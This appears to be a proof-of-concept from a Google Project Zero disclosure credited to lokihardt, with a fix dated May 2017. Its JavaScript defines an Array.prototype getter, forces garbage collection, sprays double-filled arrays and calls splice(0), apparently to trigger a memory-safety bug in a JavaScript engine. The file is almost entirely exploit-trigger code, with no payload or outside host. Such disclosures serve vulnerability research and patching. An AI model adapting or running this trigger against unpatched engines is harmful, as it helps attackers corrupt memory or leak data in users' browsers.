- Fix: May 2017
- Credit: lokihardt, Google Project Zero
function gc() {
for (let i = 0; i < 0x10; i++)
new ArrayBuffer(0x1000000);
}
Array.prototype.__defineGetter__(0x1000, () => 1);
gc();
for (let i = 0; i < 0x100; i++) {
new Array(0x100).fill(1234.5678);
}
gc();
print(new Array(0x100).splice(0));